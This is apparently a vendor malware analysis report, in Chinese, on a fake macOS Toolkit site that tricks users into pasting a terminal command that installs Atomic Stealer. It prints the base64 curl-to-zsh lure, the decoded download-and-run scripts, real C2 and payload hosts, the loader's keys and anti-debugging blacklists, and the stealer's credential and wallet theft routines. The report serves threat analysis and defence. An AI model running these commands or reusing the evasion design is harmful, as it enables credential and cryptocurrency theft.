概述
近日,瑞星接到用户反馈,称一个仿冒第三方macOS Toolkit的下载站点正在传播恶意程序。经分析,该站点并非通过常规安装包投递载荷,而是将恶意命令包装为"安装命令",诱导用户将其复制至终端执行;在macOS弹出安全提示时,进一步引导用户主动点击"允许",从而绕过系统防护、获取执行权限。
用户在终端中执行的命令实际充当了一阶段下载器。该阶段下载的中间脚本被插入大量无效代码,二阶段脚本则将关键敏感字符串以八进制形式进行编码,两层混淆分别干扰人工分析与自动化检测。经过混淆处理后,中间脚本最终向用户设备投递一个FAT格式的Mach-O两阶段内存态加载器。
该加载器使用ChaCha20-Poly1305 AEAD解密并执行最终载荷,内部集成间接跳转隐藏、__TEXT节自校验、进程名与环境变量黑名单、PBKDF2密钥拉伸等多重反分析手段,明文全程仅存在于锁定内存页中,用后即擦。最终投递的载荷为Atomic Stealer(又称AMOS)信息窃取器,覆盖浏览器、桌面钱包、即时通讯、钥匙串与云凭证等高价值数据,并通过伪装系统对话框钓鱼获取管理员密码;窃得数据分阶段回传至C2服务器。此外,Atomic Stealer还会替换钱包应用并安装LaunchDaemon实现持久化。
样本来源

站点仿冒成macOS Toolkit的下载站,诱导用户将恶意的“安装命令”粘贴至终端并执行,且在下方提供了完整的文字和视频教程。
值得留意的是,视频教程内出现的域名,在2025年已被其他安全厂商报道过,最终目标同样是投放Atomic Stealer。
样本分析
初始脚本
诱导执行的“安装命令”内容较为简单:
curl -s $(echo "aHR0cHM6Ly9zaGVsdGVyMTkuY29tL2N1cmwvYjhmMmNmMDdhZGM1YmM2MWUwNDZjOWVhMjMwOTAwNWQwYWVkOWNkN2QxN2U0NDFmYjhjYmRlODM5Y2E2OTUwMQ==" | openssl base64 -d -A) | zsh
调用curl从hxxps://shelter19.com/curl/b8f2cf07adc5bc61e046c9ea2309005d0aed9cd7d17e441fb8cbde839ca69501拉取数据并通过管道传递给终端并执行
需要注意的是,使用浏览器无法正常访问该URL

使用curl特有的User-Agent访问该URL才能获得有效载荷

一阶段脚本
| 字段 | 内容 |
|---|---|
| 文件大小 | 1.79 KB (1,843 字节) |
| 文件MD5 | 6DF2F33EE6F1B489502A764C60F63BA0 |
| 文件类型 | SHELL |
| 病毒名 | Trojan.Starter/BASH!1.14484 |
| 主要功能 | 执行内嵌的另一段脚本 |
一阶段脚本包含大量无效代码,移除无效代码后可得到以下代码:
unrlfz=$(openssl base64 -d <<'PAYLOAD_END' | gunzip
H4sIAAAAAAAC/5RT70/bSBD97r9iLueLiZAvM+tdr4IuSCCkC5BCKVAVtFIUHIe4xE5ixyE/yP9e
7a6B0Kof+mElz87Me7Nvnv/+q/mQZM11MXKcUVbGw+/Zirdr7l6xKqL5GPwMRs//pnFaJOsY2GFz
EC+aWTkew8sLxNFoAtioOWsWjYeDVrv2lq45/SwelU9MYw368xj2/ykaNcfJ01Qksu3uTfMkmw/B
UyRQUciro78DhZIpFNIc4lJRyBTp7zBUxIVCIRRKVChJodB3gc3re9NDFkuQjYUwfZaDmXvTo7lE
hR8KRSJUKGVVa7n0ne5DKSymwQ4sls5z7jWcZSublR+eZeBFRadL3I0p2oI/LK7B5+D70STL4mju
z5M0npRzEOD7aX9pYiAE/xt8vry+Ab8DXlnE+QEcPXbz4eJRnE9brLi6vLib5L2LziL50jrp96KU
bi+uZ7OrI7/fobPivLM6myXSM/3HZTIenJ5oiNOQ4acl3vfugu70/2n35qoYfe2e3y6PW71Z9jS6
76/H+Vm+uPOg5m7syrY1+O99+ztGYId1grqTL9MiHf7RYrWIusaIzN8FDZnCkH67XDSKanVJUUCK
GFNEQqHmQK4Ig0r1UJEkRcSsiTQGCxQaHv0dKiJuuQOpCHWMtp5Vh3NFTB9hZ0Vp8bnGZxZfb1nP
EUr7zkDPb+d+NR++Ge3VRLwyknmz13BWmKSz1a5+tp5b84ZYYe3qha96eQ2nnKxn8Qf5Jb5TWN97
Ded5OhDpLz7VqJrF/DofvToBd2Nn24K7sVveQr0O7sZQbsGPdkpMwpBsYX/5c6IKHOcA3M0yegjC
gzZuTZS0ps/jJxP+CAAA//+CjBqGlQQAAA==
PAYLOAD_END
)
eval "${unrlfz}"
该代码将指定数据进行base64解码,随后调用gunzip进行解压并执行
二阶段脚本
| 字段 | 内容 |
|---|---|
| 文件大小 | 1.14 KB (1,173 字节) |
| 文件MD5 | E0D6655CA151842AC28ABDE7BAA57F98 |
| 文件类型 | SHELL |
| 病毒名 | Downloader.Agent/BASH!1.14485 |
| 主要功能 | 联网下载Atomic Stealer并执行 |
二阶段脚本将大量字符串转换为八进制形式存储(如\057\164\155\160\057\150\145\154\160\145\162),且频繁使用变量引用,影响人工分析以及自动化检测,还原后可得以下代码:
#!/bin/zsh
hnuefjny4="$(sysctl -n hw.memsize 2>/dev/null || echo 0)"
z2clfd9="/dev/null"
anehuk2="$(date +%s)"
rmm5i7=$(printf 'https://grove-89.com/api/metrics/run?event=pasted')
x9nqu=$(printf 'curl')
${x9nqu} -fsS -4 --connect-timeout 5 --max-time 10 -X POST -H 'user: AgLrfvg5Kp92sQONYor_NHviR9Da_cm1UNSqqQA-aH1JsKHyJqi7' -H 'BuildID: AgI620Mx0Z_Y3LpGpLTQshVLKUxB9_qnkhZazlrJrvY' "${rmm5i7}" </dev/null >/dev/null 2>&1 &
rxmsmf=$(printf 'https://shelter19.com/2kqYRM0DCrnyJgoS4gVLl_FHJRRdTUhGCbjyuYwpZ6c/m3/update')
y0imqy=$(printf '/tmp/helper')
uozqe=$(printf 'xattr')
wpd5m=$(printf 'chmod')
${x9nqu} -o ${y0imqy} ${rxmsmf} && ${uozqe} -c ${y0imqy} && ${wpd5m} +x ${y0imqy} && ${y0imqy}
: ${xcb36:=0}
: ${i9pwlk:=0}
该脚本主要实现以下两项功能:
- 访问
hxxps://grove-89.com/api/metrics/run?event=pasted通知服务器有新受害者出现 - 访问
hxxps://shelter19.com/2kqYRM0DCrnyJgoS4gVLl_FHJRRdTUhGCbjyuYwpZ6c/m3/update获取payload并执行
Atomic Stealer
| 字段 | 内容 |
|---|---|
| 原始文件名 | update |
| 文件大小 | 290 KB (297,968 字节) |
| 文件MD5 | 380AC2142F319EBA031601A3A96A204E |
| 文件类型 | MACH-O FAT |
| 病毒名 | Stealer.Atomic/OSX!1.14487 |
| 主要功能 | macOS 两阶段内存态 Payload 加载器,最终投递Atomic Stealer窃密木马 |
该文件内嵌X86-64和ARM64两个架构的恶意程序,我们选取X86-64架构的恶意程序进行分析
样本工作流程概览
样本是一个两阶段内存态加载器:阶段 1 解密 194 字节"配置块"验证 OSA 执行环境,
阶段 2 解密 69,082 字节AppleScript窃密器主体并执行。两个阶段均使用
ChaCha20-Poly1305 AEAD,密钥由两条独立的HMAC/PBKDF2派生链产生。

阶段 1:环境验证 + 解密 194B 配置块
orchestrator_main部分代码:
// 1) 8 字节魔数表 v31 = 0x5B954745CBE89207 (LE 展开)
// 2) K1 = hmac_sha256_derive(key=embedded_key_material_32B, msg=v31, len=8)
// K2 = hmac_sha256_derive(key=K1, msg="freshfix.bootstrap\x01", len=19) // ChaCha20 密钥
// 3) 清零全部工作缓冲
v7 = mmap(NULL, 0xC2, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0); // 194B 锁定页
if (v7 + 1 >= 2) {
mlock(v7, 0xC2);
// K3 = hmac_sha256_derive(key=zeros32, msg=K2, len=32)
// K4 = hmac_sha256_derive(key=K3, msg="hwval-frag\0\0\0\0\x01", len=15)
// nonce = K4[0:12]
if (poly1305_decrypt_and_verify(&v26/*K2*/, &v29/*nonce*/,
ciphertext_194B@0x1000070D0, 0xC2,
&poly1305_key_or_nonce_32B@0x1000071A0, v7)) {
v11 = resolve_libc_symbols_and_execute(v7, 194, &expected_tag_or_hash_32B@0x100007090);
// 擦除 mmap 区 → munlock → munmap;清零 K2 等
if (v11 == 0) jmp rcx → loc_100000A42; // 成功 → 反分析 + 阶段2
else jmp rcx → loc_100003C60; // 失败 → 清理尾声
}
}
关键点:
- 明文永不落盘:194 字节明文仅存在于
mmap+mlock的锁定页中; - 阶段 1 的 Payload 是编译后 AppleScript 存根(
on run / return 0),由执行器
动态解析osascript/OSA 相关符号后执行——它充当环境门控:OSA 环境正常时
返回 0,才进入阶段 2 路径; - 无论成功失败,所有密钥与明文在使用后立即清零(OPSEC)。
成功路径:loc_100000A42(反分析 + 密钥派生)
该分支被 jmp rcx(0x1000009F8)跳入,反汇编软件无法正常跟进:
| 区间 | 功能 |
|---|---|
0x100000A42–0x100000A7F |
初始化:保存 r15;加载 magic8(qword@0x100007010)到 var_21A0;构建 XOR 密钥 0xB1(0x97+0x1A) |
0x100000A84–0x100000BE0 |
环境变量检测循环(9 项,27B/项,XOR 0xB1;命中 → ebp ^= (idx - 0x4c18817d)) |
0x100000BE0–0x100000D4F |
dlsym 动态解析 libproc 系列 API |
0x100000D55–0x100000D71 |
调用解析函数枚举进程(PID + 0x1000 缓冲) |
0x100000D79–0x100000DC4 |
进程名小写化 |
0x100000DE0–0x100000E9D |
进程名黑名单 1(21 项×15B;命中 → ebp 污染 + 循环计数溢出强制退出) |
0x100000EA0–0x100001005 |
第二组 dlsym(XOR 混淆符号名) |
0x100001021–0x10000115D |
进程名黑名单 2(14 项×16B;命中 → var_21C8 ^= 0x6979d2b6) |
0x100001167–0x1000012B1 |
第三组 dlsym |
0x1000012C5–0x100001397 |
混淆运算(计时/除法影响 ebp,干净环境不改变结论) |
0x100001399–0x100001608 |
第四组 dlsym + sysctl 风格调用(bt eax,ecx; cmovb 条件污染) |
0x100001608–0x100001976 |
taint 汇合:rbx = magic8 → var_2120 = movzx(bp) ^ ebx |
0x1000036CE–0x1000037B9 |
__TEXT SHA-256 自校验 + seed 组装 |
0x1000037C0–0x1000038BA |
PBKDF2-HMAC-SHA256(82,466 迭代)→ K_base |
0x100003920–0x100003B41 |
阶段 2 多块解密(7 块) |
0x100003B50–0x100003C5F |
组装体 SHA-256 校验 → 执行 |
0x100003C60+ |
清理尾声 |
阶段 2:解密并执行 69,082 字节植入体
loc_100003920 处多块解密循环:
; mmap(NULL, 0x10DDA=69082, RW, ANON|PRIVATE) -> r15 ; mlock(r15, 69082)
loc_100003980: ; 每块迭代(r14 = 0..6)
; K_chunk = HMAC-SHA256(key=zeros32, msg=K_base)
lea rdi, [rsp+__symbol] ; zeros32(已清零)
lea rdx, [rsp+var_2058] ; K_base(PBKDF2 输出)
call hmac_sha256_derive ; -> __s1 = K_chunk
; label = "freshfix-frag\0\0\0" + r14 + 0x01 (18 字节)
mov rax, 7869666873657266h ; "freshfix"
mov rax, 676172662D786966h ; "fix-frag"
...
; nonce = HMAC-SHA256(key=K_chunk, msg=label)[0:12]
call hmac_sha256_derive ; -> __s2
mov [var_2098], eax ; nonce = __s2[0:12]
mov [var_20A0], rax
; poly1305_decrypt_and_verify(K_base, nonce, ct_i, len_i, tag_i, out=r15+r12)
mov rdx, [stage2_ciphertext_ptrs + r14*8]
mov rbx, [stage2_chunk_sizes + r14*8]
mov r8, [stage2_tag_ptrs + r14*8]
lea rdi, [rsp+var_2058] ; a1 = K_base(注意:不是 K_chunk)
call poly1305_decrypt_and_verify
test al, al ; 任一标签失败 → 擦除+munmap+失败尾声
jz loc_100003AFB
add r12, rbx
inc r14
cmp r14, 7
jnz loc_100003980
解密成功后:
loc_100003B50: ; 组装体完整性校验
mov rdi, r15 ; 69082B 明文
call sha256_hash
; digest XOR stage2_expected_hash_32B @0x1000070B0,水平 OR 归约
; al==0 → 匹配
loc_100003C40: ; 执行
mov rdi, r15 ; payload
mov rsi, [rsp+var_21A8] ; 69082
call resolve_libc_symbols_and_execute ; ← 执行 69KB 植入体
反分析 / 反调试手段
| 序号 | 手段 | 实现位置 | 说明 |
|---|---|---|---|
| 1 | 间接跳转隐藏逻辑 | code>jmp rcx@0x1000009F8;jmp rax×4(0x100003915/0x100003AF9/0x100003C37/0x100003C5E) |
5 条间接跳转链使反编译器无法跟进 |
| 2 | XOR 混淆符号名 | dlsym 各调用点 |
所有 API 符号名运行时由掩码 XOR 单字节常量重建,使用后立即清零(反取证) |
| 3 | 环境变量检测 | 0x100000A84–0x100000BE0 |
9 个 DYLD_*/Malloc* 变量(XOR 0xB1 混淆名):DYLD_INSERT_LIBRARIES、DYLD_FORCE_FLAT_NAMESPACE、DYLD_PRINT_LIBRARIES、DYLD_PRINT_INITIALIZERS 等,检测 dylib 注入与 dyld 调试追踪 |
| 4 | 进程名黑名单 | 21 项@0x100000DE0 + 14 项@0x1000010F4 |
动态枚举进程后 strstr 匹配分析工具进程名;命中即污染 taint 并强制退出枚举循环(完整列表见 §3.1) |
| 5 | VM/沙箱检测 | 0x1000032F0–0x10000362D(3 张子表,14 项) |
对运行时采集的系统信息(CPU/厂商字符串)做 strstr 匹配,检测虚拟化/沙箱环境;命中即跳 0x100003690 清零后走失败路径(完整列表见 §3.2) |
| 6 | __TEXT 节 SHA-256 自校验 |
0x1000036E7–0x1000037B5 |
dyld_get_image_header(0) → getsectiondata("__TEXT","__text") → sha256_hash → 与 0x100007030 预期 XOR。补丁/插桩检测:修改代码字节 → 哈希变 → hash_xor≠0 → 种子错 → 阶段 2 无法解密(密码学绑定) |
| 7 | PBKDF2 密钥拉伸 | 0x10000380F–0x1000038BA |
82,466 次 HMAC-SHA256,显著抬高暴力破解成本 |
| 8 | taint 污染累积 | ebp/var_21C8/var_2120 |
env 命中(0x4c18817d 系)、黑名单命中(0xc79bb976/0x6979d2b6)均异或进种子计算路径——被检测环境下的种子与干净环境不同 |
| 9 | 主线程门控 | resolve_libc_symbols_and_execute 内 |
pthread_main_np() 阻断注入线程执行 |
| 10 | 内存页锁定 | mmap+mlock |
明文永不交换到磁盘 |
| 11 | 用后即擦 | 各阶段收尾 | 所有密钥、明文、中间缓冲立即清零;munlock/munmap |
| 12 | 一次性执行标志 | g_symbols_initialized |
防止重复解析符号/重复执行 |
| 13 | 单次密钥 | HMAC 链 | 每次运行从根密钥新鲜派生,无固定密钥落盘 |
| 14 | 无直接 I/O | 导入表 | 仅链接 libSystem,所有敏感操作走 dlsym 动态解析,规避静态导入审计 |
进程名黑名单(完整列表,XOR 0xB1 解码)
黑名单 1(21 项 × 15B,表 @ 0x100006890,长度表 @ 0x1000069D0)——
调试器 / 反汇编器 / 逆向分析工具进程名:
| # | 名称 | 类型 | # | 名称 | 类型 |
|---|---|---|---|---|---|
| 0 | lldb |
调试器 | 11 | binaryninja |
反汇编器 |
| 1 | debugserver |
调试器(LLDB 远程) | 12 | gdb |
调试器 |
| 2 | lldb-rpc-server |
调试器(远程) | 13 | class-dump |
逆向工具 |
| 3 | frida-server |
动态插桩 | 14 | mitmproxy |
流量代理 |
| 4 | frida-trace |
动态插桩 | 15 | Charles |
流量代理 |
| 5 | hopper |
反汇编器 | 16 | Proxyman |
流量代理 |
| 6 | radare2 |
反汇编器 | 17 | objection |
动态插桩 |
| 7 | /r2 |
反汇编器(radare2) | 18 | jtool2 |
逆向工具 |
| 8 | cutter |
反汇编器 | 19 | dtrace |
动态追踪 |
| 9 | ghidra |
反汇编器 | 20 | fs_usage |
文件系统监控 |
| 10 | x64dbg |
调试器 |
黑名单 2(14 项 × 15B 表步进,表 @ 0x1000069F0,长度表 @ 0x100006AC2)——
Hook / 注入 / 取证框架进程名:
| # | 名称 | 类型 | # | 名称 | 类型 |
|---|---|---|---|---|---|
| 0 | frida |
动态插桩 | 7 | libcycript |
运行时注入 |
| 1 | Frida |
动态插桩 | 8 | libReveal |
UI 调试 |
| 2 | FridaGadget |
动态插桩(嵌入式) | 9 | RevealServer |
UI 调试 |
| 3 | substrate |
代码注入框架 | 10 | Dobby |
Hook 框架 |
| 4 | Substrate |
代码注入框架 | 11 | fishhook |
符号表 Hook |
| 5 | MobileSubstrate |
越狱注入框架 | 12 | Cycript |
运行时注入 |
| 6 | SBInjector |
越狱注入 | 13 | SSLKillSwitch |
SSL 绕过/取证 |
VM / 沙箱检测表(完整列表,XOR 0x02 解码)
3 张子表(表 @ 0x100006B70/0x100006BB8/0x100006C24,长度表 @
0x100006D68,步进 36B)——对系统信息(system_profiler 输出 / CPU 字符串)匹配:
| # | 字符串 | 检测目标 | # | 字符串 | 检测目标 |
|---|---|---|---|---|---|
| 0 | zf4dtjrdmf(二次混淆标识) |
— | 7 | c02tm2zbhx87(二次混淆标识) |
— |
| 1 | 16419285-2711-56f7-a9ed-f41e752e1009 |
硬件 UUID | 8 | chip: unknown |
未知 CPU |
| 2 | qemu |
虚拟机厂商 | 9 | intel core 2 |
老旧 CPU 特征 |
| 3 | vmware |
虚拟机厂商 | 10 | virtual machine |
虚拟化标记 |
| 4 | kvm |
虚拟机厂商 | 11 | virtualmac |
虚拟化标记 |
| 5 | z31fhxyq0j(二次混淆标识) |
— | 12 | (virtual) |
虚拟化标记 |
| 6 | c07t508tg1j2(二次混淆标识) |
— | 13 | processor name: unknown |
未知处理器 |
深层设计意图:阶段 2 种子 =
bswap(taint ^ hash_xor),其中hash_xor来自
__TEXT哈希。在干净环境hash_xor=0,种子退化为 magic8 常量——因此该机制
对"未打补丁的原始样本"不构成解密障碍,但任何尝试 patch 样本的分析行为都会
破坏阶段 2 的解密(反篡改而非反离线分析)。
两个Payload的解密
阶段 1(194 字节)
密钥派生链(4 级 HMAC-SHA256):
root_secret = 828d9464baba5f6c3c0519a6f57cae04b9db9bd4724d44a6fb27d7f74d4137f9 (32B @0x100007050)
magic8 = 5B954745CBE89207 (LE 8B)
K1 = HMAC-SHA256(key=root_secret, msg=magic8)
K2 = HMAC-SHA256(key=K1, msg="freshfix.bootstrap\x01") → ChaCha20 密钥
K3 = HMAC-SHA256(key=zeros32, msg=K2)
K4 = HMAC-SHA256(key=K3, msg="hwval-frag\x00\x00\x00\x00\x01")
nonce = K4[0:12]
ciphertext @0x1000070D0 (194B) | tag @0x1000071A0 (16B)
明文 = ChaCha20-Poly1305-Decrypt(key=K2, nonce, counter=1, ct, tag)
密钥具体值:
| 变量 | 值 |
|---|---|
| K2(ChaCha20 密钥) | e7848610fa88f8d2d8f15a09c3d619a15d832e7fc04f745ad0d0c14aed64a19e |
| nonce | 23413830c4f501feb6138bbc |
| counter | 1 |
| 明文 SHA-256 | 9e0b82e16d94c48fbfc712004db995bea823e8977ac7a94cd7c3a4f2fe080507 |
| 预期 @0x100007090 | 9e0b82e16d94c48fbfc712004db995bea823e8977ac7a94cd7c3a4f2fe080507 |
阶段 2(69,082 字节)
种子破解:
__text 节 SHA-256 = 2e2def0f2964f5fe1d17dc0f57aa37173439b034dde7f74d7015fb1ab88bd6b7
hash_xor = (d0^0x2e)|(d1^0x2d)<<8|(d2^0xef)<<16|(d3^0x0f)<<24 = 0 ← 干净环境
taint = var_2120 ^ ebx(@0x1000036CE) = 0xcbe89207 ^ 0
seed = bswap(taint ^ hash_xor) 的 LE 字节 = cb e8 92 07
= magic8 0x5b954745cbe89207 的低 32 位(0xcbe89207)
种子来源反汇编证据:
; 0x100000A4A — var_21A0 = qword@0x100007010 = magic8
mov rax, [rip+0x65bf]
mov [rsp+0xf8], rax
...
; 0x100001608 — 进入 taint 计算的关键加载
mov rbx, [rsp+0xf8] ; rbx = 0x5b954745cbe89207 (64位)
...
; 0x100001971 — var_2120 = movzx(bp) ^ ebx
movzx ecx, bp ; ecx = 0(干净环境 ebp=0)
xor ecx, ebx ; ecx = 0 ^ 0xcbe89207 = 0xcbe89207
mov [rsp+0x178], ecx ; var_2120 = 0xcbe89207
xor ebx, ebx ; ebx = 0
...
; 0x1000036CE — taint 汇合
mov eax, [rsp+0x178] ; eax = var_2120 = 0xcbe89207
xor eax, ebx ; ^= 0
mov ebx, eax
...
; 0x1000037B5 — hash_xor(=0) 合并后 bswap 存储
xor ebx, eax ; hash_xor = 0 → ebx 不变
bswap ebx
mov [rsp+__src], ebx ; seed 存储 (LE) = cb e8 92 07
密钥派生链(标准 PBKDF2-HMAC-SHA256 + 每块 HMAC 派生):
salt = 565e9891bac3bb20f7007714540c700ae4999ab019c1438234c5d9433d0b61ab (32B @0x100007070)
info = salt || 0x01000000(LE) = 36B (= salt || INT_BE(1),PBKDF2 首块)
K_base = PBKDF2-HMAC-SHA256(password=seed=cb e8 92 07, salt=info, c=82466, dkLen=32)
= 6f08f1f49c4234515c542c8265a691b45567d637225748f0409b593274fbc216
K_chunk = HMAC-SHA256(key=zeros32, msg=K_base)
= 2053a4e75dc6900ee40761d3bf77b5be03336f6f0a0cd1cf9d1a29ae178b4cb5
对每块 i (0..6):
label = "freshfix-frag" + \x00\x00\x00 + chr(i) + \x01 (18B)
nonce = HMAC-SHA256(key=K_chunk, msg=label)[0:12]
明文_i = ChaCha20-Poly1305-Decrypt(key=K_base, nonce, counter=1, ct_i, tag_i)
组装明文 = concat(明文_0..明文_6) = 69,082 字节
7 块密文 / 标签表:
| 块 | 密文地址 | 大小 | 标签地址 |
|---|---|---|---|
| 0 | 0x1000071B0 |
8,967 | 0x1000094C0 |
| 1 | 0x1000094D0 |
10,923 | 0x10000BF80 |
| 2 | 0x10000BF90 |
10,514 | 0x10000E8B0 |
| 3 | 0x10000E8C0 |
9,278 | 0x100010D00 |
| 4 | 0x100010D10 |
10,050 | 0x100013460 |
| 5 | 0x100013470 |
9,060 | 0x1000157E0 |
| 6 | 0x1000157F0 |
10,290 | 0x100018030 |
验证:组装体 SHA-256 = 188da9d0ad0c9b37a436eca346f45b32639ac0fe15edadf722944a71cc7ddc90
与内嵌预期 @0x1000070B0 完全一致
Payload基本信息
阶段 1 Payload
| 字段 | 值 |
|---|---|
| 文件大小 | 194 字节 |
| 文件MD5 | 8862a7a51f44700de97b1f33eafb0de9 |
| 文件类型 | 编译后的 AppleScript |
| 大致功能 | OSA 环境门控存根:执行 on run / return 0,验证 AppleScript 运行环境正常,返回 0 触发阶段 2 |
阶段 2 Payload
| 字段 | 值 |
|---|---|
| 文件大小 | 69,082 字节 |
| 文件MD5 | d31b8f849e1b9ef0ec560dd9b78897b2 |
| 文件类型 | 编译后的 AppleScript |
| 大致功能 | macOS 信息窃取器(Atomic Stealer家族):窃取浏览器、钱包、凭证、文件并上传 C2,附带密码钓鱼、钱包替换与持久化 |
| C2(上传/指标) | http://161.35.146.120(/contact、/api/metrics/run) |
| 恶意载荷下载域 | grove53.com(/zxc/kito、/zxc/mdw、/zxc/app.zip、/zxc/apptwo.zip、/zxc/appex.zip) |
| 用户标识 | CPlt39epzshDceesx7AK4gWXKrpSxTE22toN4RqMe8Y |
| BuildID | nodFU7kAe_mM1eDgNM_LM5OncmLre3x71RCg9KpcjrI |
| 持久化路径 1 | ~/Library/Application Support/.com.apple.accountsd/(.service、AccountsHelper、/tmp/starter) |
| 持久化路径 2 | ~/Library/Application Support/.com.apple.metadata.mds/(.mdworker、.index、.uid、/tmp/.mdstmp) |
| LaunchDaemon | /Library/LaunchDaemons/com.apple.accountsd.helper.plist、com.apple.metadata.mds.worker.plist |
核心Payload分析
配置常量(on run 内明文)
set sgggzsdouo to "CPlt39epzshDceesx7AK4gWXKrpSxTE22toN4RqMe8Y" -- 用户标识/API key
set zjnnvduvrwg to "nodFU7kAe_mM1eDgNM_LM5OncmLre3x71RCg9KpcjrI" -- BuildID
set dwnggsygdvky to "http://161.35.146.120" -- C2 服务器
set zxhiyuey to "grove53.com" -- 恶意载荷下载域
set euqatxgljos to "0" -- cl 版本
set admiiaondpnj to "0" -- cn 版本
set nwjyuliggv to (system attribute "USER") -- 当前用户名
整体工作流程
- 隐藏 Terminal 窗口(避免用户察觉)
- macOS 版本检查(> 26.4.1 → 启用 Chrome 主密码提取等增强路径)
- 指标回传 C2:boot/started
- 初始化 /tmp/{random}/ 会话目录 + 采集系统信息(system_profiler)
- 窃取 messenger 数据(Telegram / Discord / Stickies)→ 指标: init_session
- 窃取凭证(keychain / .ssh / .aws / .config/gcloud / .azure / .docker / .filezilla / .zsh_history)→ 指标: credentials
- 窃取浏览器(Firefox/Waterfox + Chromium 全家 12 款)→ 指标: browsers
- 窃取桌面钱包(16 款 + Binance/TonKeeper)→ 指标: wallets
- 打包(ditto zip)→ 部分上传 C2 /contact(X-Partial: 1)
- 获取管理员密码:读取缓存 .auth → 无效则弹伪装"System Preferences"对话框钓鱼
- 提取 Chrome Safe Storage 主密码(macOS ≥ 26.4.1)
- 指标: resolve_auth → 再次上传
- 本地数据:Notes / Safari cookies / OpenVPN 配置 / 已装软件列表 → 指标: local_data
- 打包 → 完整上传 C2 /contact → 清理会话目录与 /tmp 临时文件
- 钱包应用替换(Ledger / Trezor / Exodus → 下载恶意版本)
- 持久化安装(两个伪装 LaunchDaemon:kito / mdw)
具体功能模块
| Handler(混淆名) | 实际行为 |
|---|---|
pffgwxeftid |
mkdir -p 创建目录 |
rgbyhenzoarl |
读取文件内容 |
xmajhkodmptu |
写文件 |
ecsasgzcz |
cp -f 复制文件 |
mxugipchktgq |
递归复制目录(跳过缓存/无关文件白名单) |
ozrrporr |
file -b 判断是否目录 |
zaucreocgfjd |
Firefox/Waterfox 窃取:cookies.sqlite、formhistory.sqlite、key4.db、logins.json、extensions.json、prefs.js(可选 places.sqlite) |
zklgrtksbx |
Chromium 系窃取:Network/Cookies、Cookies、Web Data、Login Data、Local Extension Settings/、IndexedDB/、Local Storage/leveldb/(可选 History) |
kzdqziwtzx |
Firefox 扩展 IndexedDB(moz-extension/idb) |
piiyuiuqj |
浏览器矩阵:Firefox / Waterfox / Chrome / Brave / Edge / Vivaldi / Opera / OperaGX / Chrome Beta / Chrome Canary / Chromium / Chrome Dev / Arc / CocCoc |
orwkpkriiyv |
桌面钱包矩阵:Electrum / Coinomi / Exodus / Atomic / Wasabi / Ledger Live / Monero / Bitcoin Core / Litecoin Core / Dash Core / Electrum-LTC / Electron Cash / Guarda / Dogecoin Core / Trezor Suite / Sparrow + Binance / TonKeeper |
pnrpyyrfqrcd |
凭证窃取:login.keychain-db、.ssh/、.aws/(credentials+config)、.config/gcloud/、.azure/、.docker/config.json、.filezilla/、.zsh_history |
gkmiipdxa |
Telegram Desktop(tdata/ key_datas、maps) |
iaeyhwbr |
Telegram + Discord leveldb + Stickies |
mibbxzyiib |
Notes NoteStore.sqlite、Safari Cookies.binarycookies、OpenVPN 配置、已装软件列表 |
iixsdsimewu |
FileGrabber:桌面/文档敏感文件(txt/pdf/docx/wallet/key/keys/doc/jpeg/png/kdbx/rtf/jpg/seed,限 30MB)+ Safari/Notes/钥匙串 |
ruittluwo |
Notes 内容导出 notes.html |
zwotncqxcdt |
Chrome 主密码提取 + 密码钓鱼对话框(伪装 System Preferences,循环验证 dscl . authonly) |
kqcfknsrg |
dscl . authonly 密码验证 |
zbcxejoegz |
Keychain 提取 Chrome Safe Storage 主密码 |
wmudaopydny |
缓存/钓鱼获取管理员密码(.auth) |
qjamuimawd / irleytxvl |
ditto -c -k 打包 → curl 上传 C2 /contact(带 user/BuildID/cl/cn 头) |
bnkqezeonh |
上传 /tmp/out.zip(重试 3 次) |
nbhzznev |
C2 指标回传:POST {C2}/api/metrics/run?event=..&stage=..(JSON: os/version/arch/locale) |
uevwasncarn / jitdsmhfxvl / blfcqyjy |
钱包替换:下载 grove53.com/zxc/app*.zip → pkill 原程序 → sudo 删除 → ditto 解压恶意版(Ledger / Trezor Suite / Exodus) |
aoxfdxsujsy |
持久化 1:~/Library/Application Support/.com.apple.accountsd/ 藏 .service 脚本 + 下载 grove53.com/zxc/kito → LaunchDaemon com.apple.accountsd.helper.plist(每 5 秒以登录用户运行) |
mrloapkifgb |
持久化 2:伪装 com.apple.metadata.mds,下载 grove53.com/zxc/mdw → LaunchDaemon com.apple.metadata.mds.worker.plist |
zvipffhbbqq |
初始化 /tmp/<random>/ 会话目录(写系统信息) |
kbllzwum |
清理:rm -rf 会话目录、/tmp/out.zip、/tmp/chunk_* |
关键技术点
- 免密 sudo 提权:
echo <password> | sudo -S ...复用钓鱼获取的管理员密码执行
删除/安装操作(钱包替换、LaunchDaemon 安装); - 持久化自举:LaunchDaemon 的 bash 脚本循环检测登录用户
(stat -f "%Su" /dev/console),以sudo -u <user>/launchctl asuser拉起
下载的恶意二进制,实现跨会话持久化; - C2 通信:分块上传(
X-Partial: 1)与完整上传两阶段,HTTP 头携带
user/BuildID/cl/cn标识受害机; - 反沙箱/环境感知:
system_profiler采集硬件 UUID、OS 版本、架构、locale 回传
给 C2 用于受害机画像。
总结
综合本次分析,该仿冒站点攻击链呈现出几个值得关注的特征:
- 投递方式上规避了传统的安装包形态。攻击者没有选择打包
dmg或pkg这类macOS用户熟悉的安装载体,而是直接以"终端粘贴执行命令"的形式完成载荷投递。这种方式绕过了Gatekeeper的签名校验环节,也使得常规的静态文件检测难以介入——恶意逻辑不再以"文件"形态出现在用户设备上,而是以"用户主动执行的命令"形态进入。 - 最终载荷具备商业级信息窃取工具链的工程水准。其并非简单的脚本拼接,而是一个防御完备的两阶段内存态加载器:使用
ChaCha20-Poly1305 AEAD加密载荷、HMAC/PBKDF2多级密钥派生、mmap+mlock锁定内存页、用后即擦;同时通过 5 条间接跳转隐藏核心逻辑使反汇编软件无法跟进、__TEXT节SHA-256自校验实现密码学反篡改绑定、进程名与环境变量黑名单对抗分析工具。这些设计反映出攻击者对macOS逆向分析流程具备深入理解。 Atomic Stealer的窃密行为具有高价值数据针对性且覆盖面极广。其目标横跨浏览器(14 款)、桌面钱包(18 款)、即时通讯、钥匙串与云凭证等可直接转化为经济或情报价值的凭据类数据,配套管理员密码钓鱼、Chrome主密码提取、钱包应用恶意替换与双LaunchDaemon持久化,构成从数据窃取到长期驻留的完整攻击闭环。
